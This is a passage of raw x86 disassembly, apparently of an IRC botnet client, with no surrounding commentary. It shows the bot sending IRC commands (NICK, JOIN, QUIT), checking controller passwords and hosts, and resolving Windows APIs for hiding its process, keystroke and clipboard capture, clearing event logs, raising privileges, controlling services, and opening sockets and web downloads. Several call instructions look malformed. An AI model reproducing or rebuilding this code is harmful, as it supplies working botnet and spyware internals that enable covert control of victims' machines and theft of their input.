		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	esi
		push	offset unk_429D20
		jmp	loc_40963D
; ---------------------------------------------------------------------------

loc_409515:				; CODE XREF: sub_401ACD+3D57j
					; sub_401ACD+3D6Ej
		push	edi
		push	offset dword_42A250
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	edi
		push	offset unk_429D00
		jmp	loc_40963D
; ---------------------------------------------------------------------------

loc_409531:				; CODE XREF: sub_401ACD+3D29j
					; sub_401ACD+3D40j
		push	[ebp+esi+var_88]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 10h
		push	edi
		push	offset unk_429CE0
		jmp	loc_40963D
; ---------------------------------------------------------------------------

loc_409554:				; CODE XREF: sub_401ACD+3CFBj
					; sub_401ACD+3D12j
		push	edi
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	edi
		push	offset unk_429CBC
		jmp	loc_40963D
; ---------------------------------------------------------------------------

loc_409570:				; CODE XREF: sub_401ACD+3123j
					; sub_401ACD+313Aj
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	edi
		push	offset unk_429C9C
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		push	edi
		call	sub_41C159
		add	esp, 14h

loc_4095A6:				; CODE XREF: sub_401ACD+7B23j
		push	eax
		nop
		call	near ptr 2680F3Dh

loc_4095AD:				; CODE XREF: sub_401ACD+2A5Fj
		xor	eax, eax
		jmp	loc_401F78
; ---------------------------------------------------------------------------

loc_4095B4:				; CODE XREF: sub_401ACD+30F5j
					; sub_401ACD+310Cj
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	edi
		push	offset unk_429C74
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		push	edi
		call	sub_41C159
		add	esp, 14h
		imul	eax, 3E8h
		jmp	short loc_4095A6
; ---------------------------------------------------------------------------

loc_4095F2:				; CODE XREF: sub_401ACD+EADj
					; sub_401ACD+EC2j
		push	[ebp+esi+var_8C]
		xor	eax, eax
		cmp	[ebp+var_8F0], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_338]
		push	dword_42909C
		push	eax
		call	sub_40AE84
		add	esp, 10h
		lea	eax, [ebp+var_338]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		lea	eax, [ebp+var_338]
		push	eax
		push	offset unk_429C50

loc_40963D:				; CODE XREF: sub_401ACD+6FCCj
					; sub_401ACD+75F1j ...
		call	sub_415DAC
		pop	ecx

loc_409643:				; CODE XREF: sub_401ACD+6BD8j
		pop	ecx

loc_409644:				; CODE XREF: sub_401ACD+63Dj
					; sub_401ACD+649j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_401F78
; ---------------------------------------------------------------------------

loc_40964C:				; CODE XREF: sub_401ACD+A98j
					; sub_401ACD+AADj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_20], esi
		jz	loc_401F75
		cmp	[ebp+var_A4], ebx
		jnz	loc_401F75
		push	offset asc_42CDCC ; "!"
		push	[ebp+var_90]
		call	sub_41CAD4
		mov	esi, eax
		push	offset word_4CB89C
		push	ebx
		inc	esi
		call	sub_41CAD4
		push	offset asc_429C4C ; "~"
		push	eax
		call	sub_41CAD4
		push	[ebp+arg_20]
		mov	edi, eax
		push	offset aCool	; "cool"
		call	sub_41CA50
		add	esp, 20h
		test	eax, eax
		jz	short loc_4096EB
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_429BCC
		jmp	loc_4023EE
; ---------------------------------------------------------------------------

loc_4096EB:				; CODE XREF: sub_401ACD+7BDAj
		mov	[ebp+arg_24], offset off_429160

loc_4096F2:				; CODE XREF: sub_401ACD+7C41j
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_40B713
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409752
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_429164
		jb	short loc_4096F2
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_429B78
		jmp	loc_4023EE
; ---------------------------------------------------------------------------

loc_409752:				; CODE XREF: sub_401ACD+7C34j
		mov	edi, [ebp+arg_18]
		xor	esi, esi

loc_409757:				; CODE XREF: sub_401ACD+7CB4j
		cmp	[ebp+arg_20], ebx
		jz	loc_401F75
		cmp	[edi], bl
		jnz	short loc_409777
		push	[ebp+arg_20]
		push	offset aCool	; "cool"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409788

loc_409777:				; CODE XREF: sub_401ACD+7C95j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_409757
		jmp	loc_401F75
; ---------------------------------------------------------------------------

loc_409788:				; CODE XREF: sub_401ACD+7CA8j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_E04]
		push	7Fh
		push	eax
		push	esi
		call	sub_41BFD0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4097BF
		push	ebx
		push	[ebp+var_4]
		push	offset unk_429B58
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h

loc_4097BF:				; CODE XREF: sub_401ACD+7CD6j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_429B38

loc_4097CB:				; CODE XREF: sub_401ACD+595j
					; sub_401ACD+2889j ...
		call	sub_415DAC

loc_4097D0:				; CODE XREF: sub_401ACD+1B81j
		pop	ecx

loc_4097D1:				; CODE XREF: sub_401ACD+24FDj
		pop	ecx
		jmp	loc_401F75
; ---------------------------------------------------------------------------

loc_4097D7:				; CODE XREF: sub_401ACD+20Ej
					; sub_401ACD+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	offset aXI	; "-x+i"
		push	[ebp+arg_10]
		push	offset aModeSS_0 ; "MODE %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 10h
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 10h
		mov	dword_4CB894, edi
		jmp	loc_401D6A
sub_401ACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409823	proc near		; CODE XREF: sub_401955+3Dp
					; sub_401ACD+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41CB70
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA34
		leave
		retn
sub_409823	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409869	proc near		; CODE XREF: sub_401ACD+506p
					; sub_401ACD+134Ep ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_409884
		mov	edi, offset aPrivmsg ; "PRIVMSG"

loc_409884:				; CODE XREF: sub_409869+14j
		push	edi
		call	sub_41B9C0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_41B9C0
		pop	ecx
		sub	esi, eax
		pop	ecx
		lea	eax, [ebp+var_400]
		push	[ebp+arg_8]
		push	offset aS_1	; "%s"
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS_0	; "%s %s :%s\r\n"
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA34
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_409907
		push	7D0h
		nop
		call	near ptr 2680F3Dh

locret_409907:				; CODE XREF: sub_409869+91j
		leave
		retn
sub_409869	endp


; =============== S U B	R O U T	I N E =======================================



sub_409909	proc near		; CODE XREF: ___:0040126Cp
		push	ebx
		push	ebp
		mov	ebp, dword_4270A4
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp
		mov	esi, dword_4270C4
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_409A29
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4CBA90, eax
		call	esi
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4CBA04, eax
		call	esi
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4CB9E8, eax
		call	esi
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4CB8F8, eax
		call	esi
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4CB8A4, eax
		call	esi
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4CB8D4, eax
		call	esi
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_4CB94C, eax
		call	esi
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_4CBA44, eax
		call	esi
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4CBAA0, eax
		call	esi
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4CB904, eax
		call	esi
		cmp	dword_4CBA90, ebx
		mov	dword_4CB8EC, eax
		jz	short loc_409A07
		cmp	dword_4CBA04, ebx
		jz	short loc_409A07
		cmp	dword_4CB9E8, ebx
		jz	short loc_409A07
		cmp	dword_4CB8F8, ebx
		jz	short loc_409A07
		cmp	dword_4CB8D4, ebx
		jz	short loc_409A07
		cmp	dword_4CB94C, ebx
		jz	short loc_409A07
		cmp	dword_4CBA44, ebx
		jz	short loc_409A07
		cmp	dword_4CBAA0, ebx
		jz	short loc_409A07
		cmp	dword_4CB904, ebx
		jz	short loc_409A07
		cmp	eax, ebx
		jnz	short loc_409A11

loc_409A07:				; CODE XREF: sub_409909+B8j
					; sub_409909+C0j ...
		mov	dword_4CBAA4, 1

loc_409A11:				; CODE XREF: sub_409909+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CBA1C, eax
		jz	short loc_409A3E
		push	1
		push	ebx
		call	eax
		jmp	short loc_409A3E
; ---------------------------------------------------------------------------

loc_409A29:				; CODE XREF: sub_409909+1Dj
		nop
		call	near ptr 269096Bh
		mov	dword_4CBAA8, eax
		mov	dword_4CBAA4, 1

loc_409A3E:				; CODE XREF: sub_409909+117j
					; sub_409909+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	near ptr 26B0CBCh
		nop
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409B53
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4CBA40, eax
		call	esi
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_4CB9F0, eax
		call	esi
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4CB984, eax
		call	esi
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4CBA94, eax
		call	esi
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_4CB9B4, eax
		call	esi
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_4CB9D4, eax
		call	esi
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_4CBA38, eax
		call	esi
		cmp	dword_4CBA40, ebx
		mov	dword_4CB924, eax
		jz	short loc_409AF7
		cmp	dword_4CB9F0, ebx
		jz	short loc_409AF7
		cmp	dword_4CB984, ebx
		jz	short loc_409AF7
		cmp	dword_4CBA94, ebx
		jz	short loc_409AF7
		cmp	dword_4CB9B4, ebx
		jz	short loc_409AF7
		cmp	dword_4CB9D4, ebx
		jz	short loc_409AF7
		cmp	dword_4CBA38, ebx
		jz	short loc_409AF7
		cmp	eax, ebx
		jnz	short loc_409B01

loc_409AF7:				; CODE XREF: sub_409909+1B8j
					; sub_409909+1C0j ...
		mov	dword_4CBAAC, 1

loc_409B01:				; CODE XREF: sub_409909+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_4CB9B0, eax
		call	esi
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_4CB8B8, eax
		call	esi
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_4CB980, eax
		call	esi
		cmp	dword_4CB9B0, ebx
		mov	dword_4CB968, eax
		jz	short loc_409B5E
		cmp	dword_4CB8B8, ebx
		jz	short loc_409B5E
		cmp	dword_4CB980, ebx
		jz	short loc_409B5E
		cmp	eax, ebx
		jnz	short loc_409B68
		jmp	short loc_409B5E
; ---------------------------------------------------------------------------

loc_409B53:				; CODE XREF: sub_409909+144j
		nop
		call	near ptr 269096Bh
		mov	dword_4CBAB0, eax

loc_409B5E:				; CODE XREF: sub_409909+232j
					; sub_409909+23Aj ...
		mov	dword_4CBAAC, 1

loc_409B68:				; CODE XREF: sub_409909+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409D21
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4CBA54, eax
		call	esi
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4CB998, eax
		call	esi
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_4CBA08, eax
		call	esi
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4CB8E4, eax
		call	esi
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4CB948, eax
		call	esi
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	dword_4CB9C0, eax
		call	esi
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	dword_4CB964, eax
		call	esi
		cmp	dword_4CBA54, ebx
		mov	dword_4CB974, eax
		jz	short loc_409C11
		cmp	dword_4CB998, ebx
		jz	short loc_409C11
		cmp	dword_4CBA08, ebx
		jz	short loc_409C11
		cmp	dword_4CB8E4, ebx
		jz	short loc_409C11
		cmp	dword_4CB948, ebx
		jz	short loc_409C11
		cmp	dword_4CB9C0, ebx
		jnz	short loc_409C1B

loc_409C11:				; CODE XREF: sub_409909+2DEj
					; sub_409909+2E6j ...
		mov	dword_4CBAB4, 1

loc_409C1B:				; CODE XREF: sub_409909+306j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_4CB9C8, eax
		call	esi
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4CB9A0, eax
		call	esi
		cmp	dword_4CB9C8, ebx
		mov	dword_4CBA50, eax
		jz	short loc_409C56
		cmp	dword_4CB9A0, ebx
		jz	short loc_409C56
		cmp	eax, ebx
		jnz	short loc_409C60

loc_409C56:				; CODE XREF: sub_409909+33Fj
					; sub_409909+347j
		mov	dword_4CBAB4, 1

loc_409C60:				; CODE XREF: sub_409909+34Bj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_4CB9D8, eax
		call	esi
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4CB8C0, eax
		call	esi
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4CB8C8, eax
		call	esi
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_4CB92C, eax
		call	esi
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_4CB930, eax
		call	esi
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4CB8DC, eax
		call	esi
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4CB9A4, eax
		call	esi
		cmp	dword_4CB9D8, ebx
		mov	dword_4CB8CC, eax
		jz	short loc_409D04
		cmp	dword_4CB8C0, ebx
		jz	short loc_409D04
		cmp	dword_4CB8C8, ebx
		jz	short loc_409D04
		cmp	dword_4CB92C, ebx
		jz	short loc_409D04
		cmp	dword_4CB930, ebx
		jz	short loc_409D04
		cmp	dword_4CB8DC, ebx
		jz	short loc_409D04
		cmp	dword_4CB9A4, ebx
		jz	short loc_409D04
		cmp	eax, ebx
		jnz	short loc_409D0E

loc_409D04:				; CODE XREF: sub_409909+3C5j
					; sub_409909+3CDj ...
		mov	dword_4CBAB4, 1

loc_409D0E:				; CODE XREF: sub_409909+3F9j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi
		cmp	eax, ebx
		mov	dword_4CB8C4, eax
		jnz	short loc_409D36
		jmp	short loc_409D2C
; ---------------------------------------------------------------------------

loc_409D21:				; CODE XREF: sub_409909+26Aj
		call	near ptr 269096Bh
		nop
		mov	dword_4CBAB8, eax

loc_409D2C:				; CODE XREF: sub_409909+416j
		mov	dword_4CBAB4, 1

loc_409D36:				; CODE XREF: sub_409909+414j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409E02
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_4CB9D0, eax
		call	esi
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4CBA28, eax
		call	esi
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_4CBA30, eax
		call	esi
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_4CB9EC, eax
		call	esi
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_4CB908, eax
		call	esi
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_4CB8B4, eax
		call	esi
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_4CBA2C, eax
		call	esi
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_4CB8A0, eax
		call	esi
		cmp	dword_4CB9D0, ebx
		mov	dword_4CB940, eax
		jz	short loc_409E0D
		cmp	dword_4CBA28, ebx
		jz	short loc_409E0D
		cmp	dword_4CBA30, ebx
		jz	short loc_409E0D
		cmp	dword_4CB9EC, ebx
		jz	short loc_409E0D
		cmp	dword_4CB908, ebx
		jz	short loc_409E0D
		cmp	dword_4CB8B4, ebx
		jz	short loc_409E0D
		cmp	dword_4CBA2C, ebx
		jz	short loc_409E0D
		cmp	dword_4CB8A0, ebx
		jz	short loc_409E0D
		cmp	eax, ebx
		jnz	short loc_409E17
		jmp	short loc_409E0D
; ---------------------------------------------------------------------------

loc_409E02:				; CODE XREF: sub_409909+438j
		nop
		call	near ptr 269096Bh
		mov	dword_4CBAC0, eax

loc_409E0D:				; CODE XREF: sub_409909+4B9j
					; sub_409909+4C1j ...
		mov	dword_4CBABC, 1

loc_409E17:				; CODE XREF: sub_409909+4F5j
		mov	ebp, dword_4270C0
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A0D3
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4CB954, eax
		call	esi
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_4CBA88, eax
		call	esi
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_4CB8F4, eax
		call	esi
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4CB8D0, eax
		call	esi
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4CB990, eax
		call	esi
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4CB978, eax
		call	esi
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4CB93C, eax
		call	esi
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4CBA64, eax
		call	esi
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4CBA80, eax
		call	esi
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4CB98C, eax
		call	esi
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_4CBA70, eax
		call	esi
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_4CBA24, eax
		call	esi
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_4CB9E4, eax
		call	esi
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_4CB9E0, eax
		call	esi
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_4CB914, eax
		call	esi
		push	offset aSend	; "send"
		push	edi
		mov	dword_4CB90C, eax
		call	esi
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_4CBA34, eax
		call	esi
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4CBA48, eax
		call	esi
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_4CB9FC, eax
		call	esi
		mov	dword_4CB9BC, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi
		push	offset aSelect	; "select"
		push	edi
		mov	dword_4CBA10, eax
		call	esi
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4CB9CC, eax
		call	esi
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_4CBA0C, eax
		call	esi
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4CBA78, eax
		call	esi
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4CB9C4, eax
		call	esi
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_4CB988, eax
		call	esi
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4CB9F8, eax
		call	esi
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_4CBA68, eax
		call	esi
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4CB99C, eax
		call	esi
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_4CB938, eax
		call	esi
		cmp	dword_4CB954, ebx
		mov	dword_4CBA7C, eax
		jz	loc_40A0DE
		cmp	dword_4CBA88, ebx
		jz	loc_40A0DE
		cmp	dword_4CB8F4, ebx
		jz	loc_40A0DE
		cmp	dword_4CB990, ebx
		jz	loc_40A0DE
		cmp	dword_4CB978, ebx
		jz	loc_40A0DE
		cmp	dword_4CB93C, ebx
		jz	loc_40A0DE
		cmp	dword_4CBA64, ebx
		jz	loc_40A0DE
		cmp	dword_4CBA80, ebx
		jz	loc_40A0DE
		cmp	dword_4CB98C, ebx
		jz	loc_40A0DE
		cmp	dword_4CBA70, ebx
		jz	loc_40A0DE
		cmp	dword_4CBA24, ebx
		jz	loc_40A0DE
		cmp	dword_4CB9E4, ebx
		jz	loc_40A0DE
		cmp	dword_4CB9E0, ebx
		jz	loc_40A0DE
		cmp	dword_4CB914, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA34, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA48, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9FC, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9BC, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA10, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9CC, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA0C, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA78, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9C4, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB988, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9F8, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA68, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB99C, ebx
		jz	short loc_40A0DE
		cmp	eax, ebx
		jnz	short loc_40A0E8
		jmp	short loc_40A0DE
; ---------------------------------------------------------------------------

loc_40A0D3:				; CODE XREF: sub_409909+51Fj
		nop
		call	near ptr 269096Bh
		mov	dword_4CBAC8, eax

loc_40A0DE:				; CODE XREF: sub_409909+6BEj
					; sub_409909+6CAj ...
		mov	dword_4CBAC4, 1

loc_40A0E8:				; CODE XREF: sub_409909+7C6j
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A1ED
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_4CB920, eax
		call	esi
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4CB8A8, eax
		call	esi
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4CB9AC, eax
		call	esi
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4CB958, eax
		call	esi
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4CB9B8, eax
		call	esi
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_4CB97C, eax
		call	esi
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4CB8E8, eax
		call	esi
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_4CB8E0, eax
		call	esi
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_4CB8F0, eax
		call	esi
		cmp	dword_4CB920, ebx
		mov	ecx, dword_4CB97C
		mov	dword_4CBA18, eax
		jz	short loc_40A1C9
		cmp	dword_4CB8A8, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB9AC, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB958, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB9B8, ebx
		jz	short loc_40A1C9
		cmp	ecx, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB8E8, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB8E0, ebx
		jz	short loc_40A1C9
		cmp	dword_4CB8F0, ebx
		jz	short loc_40A1C9
		cmp	eax, ebx
		jnz	short loc_40A1D3

loc_40A1C9:				; CODE XREF: sub_409909+87Ej
					; sub_409909+886j ...
		mov	dword_4CBACC, 1

loc_40A1D3:				; CODE XREF: sub_409909+8BEj
		cmp	ecx, ebx
		jz	short loc_40A208
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx
		cmp	eax, ebx
		mov	dword_4CB994, eax
		jnz	short loc_40A208
		jmp	short loc_40A202
; ---------------------------------------------------------------------------

loc_40A1ED:				; CODE XREF: sub_409909+7EAj
		call	near ptr 269096Bh
		nop
		mov	dword_4CBAD0, eax
		mov	dword_4CBACC, 1

loc_40A202:				; CODE XREF: sub_409909+8E2j
		mov	dword_4CB994, ebx

loc_40A208:				; CODE XREF: sub_409909+8CCj
					; sub_409909+8E0j
